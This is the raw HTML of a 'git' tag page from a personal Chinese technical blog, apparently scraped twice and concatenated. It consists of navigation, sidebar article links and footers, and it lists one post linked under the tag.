mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/git/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/git/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>git | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="git | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/git"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="git | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/git/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/git/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a 